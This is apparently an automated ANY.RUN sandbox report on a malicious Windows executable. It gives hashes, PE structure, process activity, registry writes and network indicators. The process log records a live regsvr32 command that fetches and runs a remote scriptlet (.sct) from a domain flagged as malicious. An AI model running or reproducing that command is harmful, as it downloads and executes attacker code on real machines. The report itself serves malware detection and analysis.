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File name:

0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd

Full analysis: https://app.any.run/tasks/5559dd0d-be43-4f93-8e06-0a25e2b7db02
Verdict: Malicious activity
Analysis date: June 19, 2019, 03:29:13
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5:

B1578482CEA8FD7F0C529C082F24D3DD

SHA1:

61F09F1D236C039872A9CC7831766D33FD697FFB

SHA256:

0B77B2091BFC49E1DAF5885918168F1D12FB9C772222B149756329475BD02FDD

SSDEEP:

192:h2N59JjMuYzuM2lrqGL4dtyeXQF77777xWeB2jPJ1K:hzuYzulrqGLHegF777778J

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Runs remote scriptlet

      • 0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe (PID: 3288)

  • SUSPICIOUS

    • Creates files in the user directory

      • regsvr32.exe (PID: 1940)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (61.6)
.dll | Win32 Dynamic Link Library (generic) (14.6)
.exe | Win32 Executable (generic) (10)
.exe | Win16/32 Executable Delphi generic (4.6)
.exe | Generic Win/DOS Executable (4.4)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2019:06:05 10:57:36+02:00
PEType: PE32
LinkerVersion: 2.56
CodeSize: 3584
InitializedDataSize: 11776
UninitializedDataSize: 512
EntryPoint: 0x1240
OSVersion: 4
ImageVersion: 1
SubsystemVersion: 4
Subsystem: Windows GUI

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 05-Jun-2019 08:57:36
Detected languages:
  • English - United States

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 6
Time date stamp: 05-Jun-2019 08:57:36
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_DEBUG_STRIPPED
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00000CE4
0x00000E00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
5.41032
.data
0x00002000
0x000000D0
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
1.52513
.rdata
0x00003000
0x00000480
0x00000600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
2.9999
.bss
0x00004000
0x00000070
0x00000000
IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
.idata
0x00005000
0x000003E4
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
4.10427
.rsrc
0x00006000
0x00001300
0x00001400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
4.71446

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.95686
340
UNKNOWN
English - United States
RT_MANIFEST
2
1.7815
20
UNKNOWN
English - United States
RT_GROUP_ICON

Imports

KERNEL32.dll
SHELL32.DLL
msvcrt.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
3
Malicious processes
0
Suspicious processes
0

Behavior graph

Click at the process to see the details
start 0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe no specs 0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe regsvr32.exe

Process information

PID
CMD
Path
Indicators
Parent process
3072"C:\Users\admin\AppData\Local\Temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe" C:\Users\admin\AppData\Local\Temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
3288"C:\Users\admin\AppData\Local\Temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe" C:\Users\admin\AppData\Local\Temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
1940"C:\Windows\System32\regsvr32.exe" /s /n /u /i:http://psmb07epr.bkt.clouddn.com/1.sct scrobj.dllC:\Windows\System32\regsvr32.exe
0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft(C) Register Server
Exit code:
5
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
102
Read events
80
Write events
22
Delete events
0

Modification events

(PID) Process:(3288) 0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3288) 0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(1940) regsvr32.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1940) regsvr32.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(1940) regsvr32.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:writeName:FileTracingMask
Value:
4294901760
(PID) Process:(1940) regsvr32.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
4294901760
(PID) Process:(1940) regsvr32.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(1940) regsvr32.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(1940) regsvr32.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(1940) regsvr32.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
0
Suspicious files
0
Text files
1
Unknown types
0

Dropped files

PID
Process
Filename
Type
1940regsvr32.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\[email protected][1].txttext
MD5:704D192A611B487CD37C3BAC133D4413
SHA256:E66ED53B6BD8EC81953DCB8512B54AA2E42107C58AFA4392DFB7810CFB6D3B43
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1940
regsvr32.exe
GET
530
1.1.1.1:80
http://psmb07epr.bkt.clouddn.com/1.sct
AU
html
3.75 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1940
regsvr32.exe
1.1.1.1:80
psmb07epr.bkt.clouddn.com
—
AU
malicious

DNS requests

Domain
IP
Reputation
psmb07epr.bkt.clouddn.com
  • 1.1.1.1
malicious

Threats

PID
Process
Class
Message
1940
regsvr32.exe
A Network Trojan was detected
ET CURRENT_EVENTS Likely Malicious Windows SCT Download MSXMLHTTP M1
No debug info
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Reports
0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd